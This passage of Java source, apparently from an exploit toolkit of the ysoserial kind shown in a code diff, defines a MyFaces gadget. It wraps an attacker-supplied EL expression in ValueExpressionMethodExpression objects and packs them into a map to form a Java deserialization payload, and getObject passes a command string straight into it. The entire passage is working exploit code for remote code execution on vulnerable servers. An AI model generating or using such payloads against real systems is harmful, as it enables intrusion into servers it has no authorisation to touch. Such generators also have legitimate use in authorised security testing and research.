throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
public static Object makeExpressionPayload(String expr) throws Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return Gadgets.makeMap(e2, e);
}
@Override
public Object getObject(String command) throws Exception {
return makeExpressionPayload(command);
}
}

Some files were not shown because too many files have changed in this diff Show More